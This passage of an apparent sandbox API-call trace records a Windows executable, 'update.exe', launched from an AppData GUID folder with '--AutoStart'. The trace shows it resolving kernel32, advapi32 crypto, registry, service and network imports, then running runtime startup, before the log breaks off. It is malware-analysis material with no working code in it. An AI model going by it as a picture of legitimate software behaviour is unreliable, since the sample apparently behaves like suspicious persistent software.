(hModule=0x773e0000, lpProcName="ReadFile") returned 0x773f3ed3 [0100.179] GetProcAddress (hModule=0x773e0000, lpProcName="CreateFileW") returned 0x773f3f5c [0100.179] GetProcAddress (hModule=0x773e0000, lpProcName="lstrcatA") returned 0x77412b7a [0100.179] GetProcAddress (hModule=0x773e0000, lpProcName="lstrcmpW") returned 0x773f5929 [0100.179] GetProcAddress (hModule=0x773e0000, lpProcName="MultiByteToWideChar") returned 0x773f192e [0100.180] GetProcAddress (hModule=0x773e0000, lpProcName="lstrlenW") returned 0x773f1700 [0100.180] GetProcAddress (hModule=0x773e0000, lpProcName="GetLastError") returned 0x773f11c0 [0100.180] GetProcAddress (hModule=0x773e0000, lpProcName="SetLastError") returned 0x773f11a9 [0100.180] GetProcAddress (hModule=0x773e0000, lpProcName="GetProcAddress") returned 0x773f1222 [0100.180] GetProcAddress (hModule=0x773e0000, lpProcName="VirtualAlloc") returned 0x773f1856 [0100.180] GetProcAddress (hModule=0x773e0000, lpProcName="MoveFileW") returned 0x77409af0 [0100.180] GetProcAddress (hModule=0x773e0000, lpProcName="LocalAlloc") returned 0x773f168c [0100.180] GetProcAddress (hModule=0x773e0000, lpProcName="CreateEventW") returned 0x773f183e [0100.180] GetProcAddress (hModule=0x773e0000, lpProcName="lstrcatW") returned 0x7741828e [0100.180] GetProcAddress (hModule=0x773e0000, lpProcName="FindNextFileW") returned 0x773f54ee [0100.181] GetProcAddress (hModule=0x773e0000, lpProcName="CloseHandle") returned 0x773f1410 [0100.181] GetProcAddress (hModule=0x773e0000, lpProcName="DeleteFileW") returned 0x773f89b3 [0100.181] GetProcAddress (hModule=0x773e0000, lpProcName="LocalFree") returned 0x773f2d3c [0100.181] GetProcAddress (hModule=0x773e0000, lpProcName="CompareStringW") returned 0x773f3bca [0100.181] GetProcAddress (hModule=0x773e0000, lpProcName="SetPriorityClass") returned 0x7740cf28 [0100.181] GetProcAddress (hModule=0x773e0000, lpProcName="GetCurrentProcess") returned 0x773f1809 [0100.181] GetProcAddress (hModule=0x773e0000, lpProcName="GetComputerNameW") returned 0x773fdd0e [0100.181] GetProcAddress (hModule=0x773e0000, lpProcName="GetExitCodeProcess") returned 0x7740174d [0100.182] GetProcAddress (hModule=0x773e0000, lpProcName="TerminateProcess") returned 0x7740d802 [0100.182] GetProcAddress (hModule=0x773e0000, lpProcName="GetModuleFileNameW") returned 0x773f4950 [0100.182] GetProcAddress (hModule=0x773e0000, lpProcName="GlobalFree") returned 0x773f5558 [0100.182] GetProcAddress (hModule=0x773e0000, lpProcName="CreateMutexA") returned 0x773f4c6b [0100.182] GetProcAddress (hModule=0x773e0000, lpProcName="GetVersion") returned 0x773f4467 [0100.182] GetProcAddress (hModule=0x773e0000, lpProcName="GetCurrentProcessId") returned 0x773f11f8 [0100.182] GetProcAddress (hModule=0x773e0000, lpProcName="CreateThread") returned 0x773f34d5 [0100.182] GetProcAddress (hModule=0x773e0000, lpProcName="CreateFileA") returned 0x773f53c6 [0100.183] GetProcAddress (hModule=0x773e0000, lpProcName="CreateDirectoryA") returned 0x7741d526 [0100.183] GetProcAddress (hModule=0x773e0000, lpProcName="lstrcpyA") returned 0x77412a9d [0100.183] GetProcAddress (hModule=0x773e0000, lpProcName="FatalAppExitA") returned 0x77474691 [0100.183] GetProcAddress (hModule=0x773e0000, lpProcName="CreateSemaphoreW") returned 0x7740ca5a [0100.183] GetProcAddress (hModule=0x773e0000, lpProcName="GetModuleHandleW") returned 0x773f34b0 [0100.183] GetProcAddress (hModule=0x773e0000, lpProcName="GetTickCount") returned 0x773f110c [0100.183] GetProcAddress (hModule=0x773e0000, lpProcName="TlsFree") returned 0x773f3587 [0100.183] GetProcAddress (hModule=0x773e0000, lpProcName="TlsSetValue") returned 0x773f14fb [0100.183] GetProcAddress (hModule=0x773e0000, lpProcName="TlsGetValue") returned 0x773f11e0 [0100.183] GetProcAddress (hModule=0x773e0000, lpProcName="TlsAlloc") returned 0x773f49ad [0100.184] GetProcAddress (hModule=0x773e0000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x773f1916 [0100.184] GetProcAddress (hModule=0x773e0000, lpProcName="SetUnhandledExceptionFilter") returned 0x773f87c9 [0100.184] GetProcAddress (hModule=0x773e0000, lpProcName="UnhandledExceptionFilter") returned 0x7741772f [0100.184] GetProcAddress (hModule=0x773e0000, lpProcName="FreeEnvironmentStringsW") returned 0x773f51cb [0100.184] GetProcAddress (hModule=0x773e0000, lpProcName="GetEnvironmentStringsW") returned 0x773f51e3 [0100.184] GetProcAddress (hModule=0x773e0000, lpProcName="GetSystemTimeAsFileTime") returned 0x773f3509 [0100.184] GetProcAddress (hModule=0x773e0000, lpProcName="QueryPerformanceCounter") returned 0x773f1725 [0100.184] GetProcAddress (hModule=0x773e0000, lpProcName="GetStartupInfoW") returned 0x773f4d40 [0100.184] GetProcAddress (hModule=0x773e0000, lpProcName="DeleteCriticalSection") returned 0x77ac45f5 [0100.184] GetProcAddress (hModule=0x773e0000, lpProcName="GetFileType") returned 0x773f3531 [0100.185] GetProcAddress (hModule=0x773e0000, lpProcName="RaiseException") returned 0x773f58a6 [0100.185] GetProcAddress (hModule=0x773e0000, lpProcName="LCMapStringW") returned 0x773f17b9 [0100.185] GetProcAddress (hModule=0x773e0000, lpProcName="GetConsoleCP") returned 0x77497bff [0100.185] GetProcAddress (hModule=0x773e0000, lpProcName="GetConsoleMode") returned 0x773f1328 [0100.185] GetProcAddress (hModule=0x773e0000, lpProcName="SetFilePointerEx") returned 0x7740c807 [0100.185] GetProcAddress (hModule=0x773e0000, lpProcName="SetConsoleCtrlHandler") returned 0x773f8a09 [0100.185] GetProcAddress (hModule=0x773e0000, lpProcName="FreeLibrary") returned 0x773f34c8 [0100.185] GetProcAddress (hModule=0x773e0000, lpProcName="LoadLibraryExW") returned 0x773f495d [0100.185] GetProcAddress (hModule=0x773e0000, lpProcName="OutputDebugStringW") returned 0x7741d1d4 [0100.185] GetProcAddress (hModule=0x773e0000, lpProcName="HeapReAlloc") returned 0x77ad1f6e [0100.185] GetProcAddress (hModule=0x773e0000, lpProcName="RtlUnwind") returned 0x7741d1c3 [0100.186] GetProcAddress (hModule=0x773e0000, lpProcName="SetStdHandle") returned 0x7747454f [0100.186] GetProcAddress (hModule=0x773e0000, lpProcName="HeapFree") returned 0x773f14c9 [0100.195] GetProcAddress (hModule=0x773e0000, lpProcName="HeapAlloc") returned 0x77abe026 [0100.195] GetProcAddress (hModule=0x773e0000, lpProcName="WriteConsoleW") returned 0x77417aca [0100.196] GetProcAddress (hModule=0x773e0000, lpProcName="FlushFileBuffers") returned 0x773f469b [0100.196] GetProcAddress (hModule=0x773e0000, lpProcName="EncodePointer") returned 0x77ad0fcb [0100.196] GetProcAddress (hModule=0x773e0000, lpProcName="DecodePointer") returned 0x77ac9d35 [0100.196] GetProcAddress (hModule=0x773e0000, lpProcName="GetStringTypeW") returned 0x773f1946 [0100.196] GetProcAddress (hModule=0x773e0000, lpProcName="LeaveCriticalSection") returned 0x77ab2270 [0100.196] GetProcAddress (hModule=0x773e0000, lpProcName="EnterCriticalSection") returned 0x77ab22b0 [0100.196] GetProcAddress (hModule=0x773e0000, lpProcName="HeapSize") returned 0x77ac3002 [0100.196] GetProcAddress (hModule=0x773e0000, lpProcName="GetStdHandle") returned 0x773f51b3 [0100.196] GetProcAddress (hModule=0x773e0000, lpProcName="AreFileApisANSI") returned 0x774740d1 [0100.196] GetProcAddress (hModule=0x773e0000, lpProcName="GetModuleHandleExW") returned 0x773f4a6f [0100.197] GetProcAddress (hModule=0x773e0000, lpProcName="ExitProcess") returned 0x773f7a10 [0100.197] GetProcAddress (hModule=0x773e0000, lpProcName="GetProcessHeap") returned 0x773f14e9 [0100.197] GetProcAddress (hModule=0x773e0000, lpProcName="GetCurrentThreadId") returned 0x773f1450 [0100.197] GetProcAddress (hModule=0x773e0000, lpProcName="GetCurrentThread") returned 0x773f17ec [0100.197] GetProcAddress (hModule=0x773e0000, lpProcName="IsValidCodePage") returned 0x773f4493 [0100.197] GetProcAddress (hModule=0x773e0000, lpProcName="GetACP") returned 0x773f179c [0100.197] GetProcAddress (hModule=0x773e0000, lpProcName="GetOEMCP") returned 0x7741d1a1 [0100.197] GetProcAddress (hModule=0x773e0000, lpProcName="GetCPInfo") returned 0x773f5189 [0100.197] GetProcAddress (hModule=0x773e0000, lpProcName="IsDebuggerPresent") returned 0x773f4a5d [0100.197] GetProcAddress (hModule=0x773e0000, lpProcName="lstrcpyW") returned 0x77413102 [0100.198] GetProcAddress (hModule=0x773e0000, lpProcName="IsProcessorFeaturePresent") returned 0x773f5235 [0100.198] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x75e50000 [0100.198] GetProcAddress (hModule=0x75e50000, lpProcName="PostQuitMessage") returned 0x75e69abb [0100.198] GetProcAddress (hModule=0x75e50000, lpProcName="LoadCursorW") returned 0x75e688f7 [0100.198] GetProcAddress (hModule=0x75e50000, lpProcName="BeginPaint") returned 0x75e71361 [0100.198] GetProcAddress (hModule=0x75e50000, lpProcName="TranslateMessage") returned 0x75e67809 [0100.198] GetProcAddress (hModule=0x75e50000, lpProcName="RegisterClassExW") returned 0x75e6b17d [0100.198] GetProcAddress (hModule=0x75e50000, lpProcName="ShowWindow") returned 0x75e70dfb [0100.198] GetProcAddress (hModule=0x75e50000, lpProcName="IsWindow") returned 0x75e67136 [0100.198] GetProcAddress (hModule=0x75e50000, lpProcName="CreateWindowExW") returned 0x75e68a29 [0100.199] GetProcAddress (hModule=0x75e50000, lpProcName="UpdateWindow") returned 0x75e73559 [0100.199] GetProcAddress (hModule=0x75e50000, lpProcName="DefWindowProcW") returned 0x77ac25dd [0100.199] GetProcAddress (hModule=0x75e50000, lpProcName="PeekMessageW") returned 0x75e705ba [0100.199] GetProcAddress (hModule=0x75e50000, lpProcName="PostThreadMessageW") returned 0x75e68bff [0100.199] GetProcAddress (hModule=0x75e50000, lpProcName="MessageBoxW") returned 0x75ebfd3f [0100.199] GetProcAddress (hModule=0x75e50000, lpProcName="DispatchMessageW") returned 0x75e6787b [0100.199] GetProcAddress (hModule=0x75e50000, lpProcName="DestroyWindow") returned 0x75e69a55 [0100.199] GetProcAddress (hModule=0x75e50000, lpProcName="EndPaint") returned 0x75e71341 [0100.200] GetProcAddress (hModule=0x75e50000, lpProcName="SendMessageW") returned 0x75e69679 [0100.200] GetProcAddress (hModule=0x75e50000, lpProcName="GetMessageW") returned 0x75e678e2 [0100.200] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x75720000 [0100.200] GetProcAddress (hModule=0x75720000, lpProcName="CloseServiceHandle") returned 0x7573369c [0100.200] GetProcAddress (hModule=0x75720000, lpProcName="CryptAcquireContextW") returned 0x7572df14 [0100.200] GetProcAddress (hModule=0x75720000, lpProcName="GetUserNameW") returned 0x7573157a [0100.200] GetProcAddress (hModule=0x75720000, lpProcName="CryptHashData") returned 0x7572df36 [0100.200] GetProcAddress (hModule=0x75720000, lpProcName="RegSetValueExW") returned 0x757314d6 [0100.200] GetProcAddress (hModule=0x75720000, lpProcName="RegCloseKey") returned 0x7573469d [0100.200] GetProcAddress (hModule=0x75720000, lpProcName="CryptDestroyHash") returned 0x7572df66 [0100.201] GetProcAddress (hModule=0x75720000, lpProcName="OpenSCManagerW") returned 0x7572ca64 [0100.201] GetProcAddress (hModule=0x75720000, lpProcName="OpenServiceW") returned 0x7572ca4c [0100.201] GetProcAddress (hModule=0x75720000, lpProcName="ControlService") returned 0x75747144 [0100.201] GetProcAddress (hModule=0x75720000, lpProcName="RegOpenKeyExW") returned 0x7573468d [0100.201] GetProcAddress (hModule=0x75720000, lpProcName="CryptCreateHash") returned 0x7572df4e [0100.201] GetProcAddress (hModule=0x75720000, lpProcName="QueryServiceStatus") returned 0x75732a86 [0100.201] GetProcAddress (hModule=0x75720000, lpProcName="RegQueryValueExW") returned 0x757346ad [0100.201] GetProcAddress (hModule=0x75720000, lpProcName="CryptReleaseContext") returned 0x7572e124 [0100.201] GetProcAddress (hModule=0x75720000, lpProcName="CryptGetHashParam") returned 0x7572df7e [0100.201] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x75fa0000 [0100.206] GetProcAddress (hModule=0x75fa0000, lpProcName="SHGetPathFromIDListW") returned 0x760317bf [0100.206] GetProcAddress (hModule=0x75fa0000, lpProcName="SHGetSpecialFolderLocation") returned 0x7602e141 [0100.206] GetProcAddress (hModule=0x75fa0000, lpProcName="CommandLineToArgvW") returned 0x75fb9ee8 [0100.206] GetProcAddress (hModule=0x75fa0000, lpProcName="ShellExecuteA") returned 0x761e7078 [0100.206] GetProcAddress (hModule=0x75fa0000, lpProcName="ShellExecuteExW") returned 0x75fc1e46 [0100.206] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x75810000 [0100.207] GetProcAddress (hModule=0x75810000, lpProcName="CoInitialize") returned 0x7582b636 [0100.207] GetProcAddress (hModule=0x75810000, lpProcName="CoInitializeSecurity") returned 0x75837259 [0100.207] GetProcAddress (hModule=0x75810000, lpProcName="CoUninitialize") returned 0x758586d3 [0100.207] GetProcAddress (hModule=0x75810000, lpProcName="CoCreateInstance") returned 0x75859d0b [0100.207] LoadLibraryA (lpLibFileName="OLEAUT32.dll") returned 0x77000000 [0100.207] GetProcAddress (hModule=0x77000000, lpProcName=0xca) returned 0x7700fd6b [0100.207] GetProcAddress (hModule=0x77000000, lpProcName=0x2) returned 0x77004642 [0100.207] GetProcAddress (hModule=0x77000000, lpProcName=0x9) returned 0x77003eae [0100.207] GetProcAddress (hModule=0x77000000, lpProcName=0x8) returned 0x77003ed5 [0100.207] GetProcAddress (hModule=0x77000000, lpProcName=0x6) returned 0x77003e59 [0100.208] GetProcAddress (hModule=0x77000000, lpProcName=0xc8) returned 0x77003f21 [0100.208] GetProcAddress (hModule=0x77000000, lpProcName=0xc) returned 0x77005dee [0100.208] GetProcAddress (hModule=0x77000000, lpProcName=0xc9) returned 0x77004af8 [0100.208] LoadLibraryA (lpLibFileName="IPHLPAPI.DLL") returned 0x75330000 [0100.503] GetProcAddress (hModule=0x75330000, lpProcName="GetAdaptersInfo") returned 0x75339263 [0100.503] LoadLibraryA (lpLibFileName="WS2_32.dll") returned 0x757d0000 [0100.675] GetProcAddress (hModule=0x757d0000, lpProcName=0xc) returned 0x757db131 [0100.675] GetProcAddress (hModule=0x757d0000, lpProcName=0xb) returned 0x757d311b [0100.675] GetProcAddress (hModule=0x757d0000, lpProcName=0x34) returned 0x757e7673 [0100.675] LoadLibraryA (lpLibFileName="DNSAPI.dll") returned 0x752d0000 [0100.795] GetProcAddress (hModule=0x752d0000, lpProcName="DnsFree") returned 0x752d436b [0100.795] GetProcAddress (hModule=0x752d0000, lpProcName="DnsQuery_W") returned 0x752e572c [0100.795] LoadLibraryA (lpLibFileName="msvcr100.dll") returned 0x75210000 [0100.859] GetProcAddress (hModule=0x75210000, lpProcName="atexit") returned 0x7522c544 [0100.859] atexit (param_1=0x5d31f2) returned 0 [0100.859] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18fdd4 | out: lpSystemTimeAsFileTime=0x18fdd4*(dwLowDateTime=0xc39b2340, dwHighDateTime=0x1d4800f)) [0100.859] GetCurrentThreadId () returned 0x4d0 [0100.860] GetCurrentProcessId () returned 0x4cc [0100.860] QueryPerformanceCounter (in: lpPerformanceCount=0x18fdcc | out: lpPerformanceCount=0x18fdcc*=1807041500000) returned 1 [0100.860] GetStartupInfoW (in: lpStartupInfo=0x18fd64 | out: lpStartupInfo=0x18fd64*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x773f1856, hStdOutput=0x77aafd35, hStdError=0x77b17daf)) [0100.860] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x773e0000 [0100.860] GetProcAddress (hModule=0x773e0000, lpProcName="FlsAlloc") returned 0x773f4f2b [0100.860] GetProcAddress (hModule=0x773e0000, lpProcName="FlsFree") returned 0x773f359f [0100.860] GetProcAddress (hModule=0x773e0000, lpProcName="FlsGetValue") returned 0x773f1252 [0100.860] GetProcAddress (hModule=0x773e0000, lpProcName="FlsSetValue") returned 0x773f4208 [0100.860] GetProcAddress (hModule=0x773e0000, lpProcName="InitializeCriticalSectionEx") returned 0x773f4d28 [0100.861] GetProcAddress (hModule=0x773e0000, lpProcName="CreateEventExW") returned 0x7747410b [0100.861] GetProcAddress (hModule=0x773e0000, lpProcName="CreateSemaphoreExW") returned 0x77474195 [0100.861] GetProcAddress (hModule=0x773e0000, lpProcName="SetThreadStackGuarantee") returned 0x773fd31f [0100.861] GetProcAddress (hModule=0x773e0000, lpProcName="CreateThreadpoolTimer") returned 0x7740ee7e [0100.861] GetProcAddress (hModule=0x773e0000, lpProcName="SetThreadpoolTimer") returned 0x77ad441c [0100.861] GetProcAddress (hModule=0x773e0000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x77afc50e [0100.861] GetProcAddress (hModule=0x773e0000, lpProcName="CloseThreadpoolTimer") returned 0x77afc381 [0100.861] GetProcAddress (hModule=0x773e0000, lpProcName="CreateThreadpoolWait") returned 0x7740f088 [0100.861] GetProcAddress (hModule=0x773e0000, lpProcName="SetThreadpoolWait") returned 0x77ae05d7 [0100.861] GetProcAddress (hModule=0x773e0000, lpProcName="CloseThreadpoolWait") returned 0x77afca24 [0100.861] GetProcAddress (hModule=0x773e0000, lpProcName="FlushProcessWriteBuffers") returned 0x77ab0b8c [0100.861] GetProcAddress (hModule=0x773e0000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x77b6fde8 [0100.861] GetProcAddress (hModule=0x773e0000, lpProcName="GetCurrentProcessorNumber") returned 0x77b01e1d [0100.862] GetProcAddress (hModule=0x773e0000, lpProcName="GetLogicalProcessorInformation") returned 0x77474761 [0100.862] GetProcAddress (hModule=0x773e0000, lpProcName="CreateSymbolicLinkW") returned 0x7746cd11 [0100.862] GetProcAddress (hModule=0x773e0000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0100.862] GetProcAddress (hModule=0x773e0000, lpProcName="EnumSystemLocalesEx") returned 0x7747424f [0100.862] GetProcAddress (hModule=0x773e0000, lpProcName="CompareStringEx") returned 0x774746b1 [0100.862] GetProcAddress (hModule=0x773e0000, lpProcName="GetDateFormatEx") returned 0x77486676 [0100.862] GetProcAddress (hModule=0x773e0000, lpProcName="GetLocaleInfoEx") returned 0x77474751 [0100.862] GetProcAddress (hModule=0x773e0000, lpProcName="GetTimeFormatEx") returned 0x774865f1 [0100.862] GetProcAddress (hModule=0x773e0000, lpProcName="GetUserDefaultLocaleName") returned 0x774747c1 [0100.862] GetProcAddress (hModule=0x773e0000, lpProcName="IsValidLocaleName") returned 0x774747e1 [0100.862] GetProcAddress (hModule=0x773e0000, lpProcName="LCMapStringEx") returned 0x774747f1 [0100.862] GetProcAddress (hModule=0x773e0000, lpProcName="GetCurrentPackageId") returned 0x0 [0100.863] GetProcAddress (hModule=0x773e0000, lpProcName="GetTickCount64") returned 0x7740eee0 [0100.863] GetProcAddress (hModule=0x773e0000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0100.863] GetProcAddress (hModule=0x773e0000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0100.863] GetCurrentThreadId () returned 0x4d0 [0100.863] GetStartupInfoW (in: lpStartupInfo=0x18fd34 | out: lpStartupInfo=0x18fd34*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x415e4a, hStdOutput=0x7e5eb1d3, hStdError=0x42f6de)) [0100.863] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0100.863] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0100.863] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0100.863] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe\" --AutoStart" [0100.863] GetEnvironmentStringsW () returned 0x61c100* [0100.863] FreeEnvironmentStringsW (penv=0x61c100) returned 1 [0100.863] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x44e1f0, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe")) returned 0x5b [0100.865] GetLastError () returned 0x0 [0100.865] SetLastError (dwErrCode=0x0) [0100.865] GetLastError () returned 0x0 [0100.865] SetLastError (dwErrCode=0x0) [0100.865] GetLastError () returned 0x0 [0100.865] SetLastError (dwErrCode=0x0) [0100.865] GetACP () returned 0x4e4 [0100.865] GetLastError () returned 0x0 [0100.865] SetLastError (dwErrCode=0x0) [0100.865] IsValidCodePage (CodePage=0x4e4) returned 1 [0100.865] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fd28 | out: lpCPInfo=0x18fd28) returned 1 [0100.865] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f7f0 | out: lpCPInfo=0x18f7f0) returned 1 [0100.865] GetLastError () returned 0x0 [0100.865] SetLastError (dwErrCode=0x0) [0100.865] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fc04, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0100.865] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fc04, cbMultiByte=256, lpWideCharStr=0x18f568, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0100.865] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f804 | out: lpCharType=0x18f804) returned 1 [0100.865] GetLastError () returned 0x0 [0100.865] SetLastError (dwErrCode=0x0) [0100.865] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fc04, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0100.865] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fc04, cbMultiByte=256, lpWideCharStr=0x18f538, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0100.865] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0100.865] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f328, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0100.865] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18fb04, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 